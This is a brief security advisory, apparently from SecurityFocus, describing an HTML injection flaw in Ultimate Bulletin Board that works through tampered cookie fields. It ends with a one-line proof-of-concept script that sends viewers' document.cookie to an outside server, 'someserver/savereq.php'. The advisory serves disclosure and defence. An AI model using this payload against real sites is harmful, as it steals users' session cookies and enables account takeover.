source: https://www.securityfocus.com/bid/8212/info

Ultimate Bulletin Board has been reported prone to a HTML injection vulnerability.

The issue likely presents itself due to a lack of sanitization performed on cookie data. It has been reported that a remote authenticated attacker may modify fields of an Ultimate Bulletin Board cookie, and embed HTML code into several of the fields contain therein. The attacker may then use the cookie to inject HTML code into the affected forum. It has been reported that the malicious HTML code will be rendered when the forum overview page or latest posts overview page are viewed.

username<script>document.write('<img src%3D"http://someserver/savereq.php?'%2Bdocument.cookie%2B'" width%3D0height%3D0>')</script>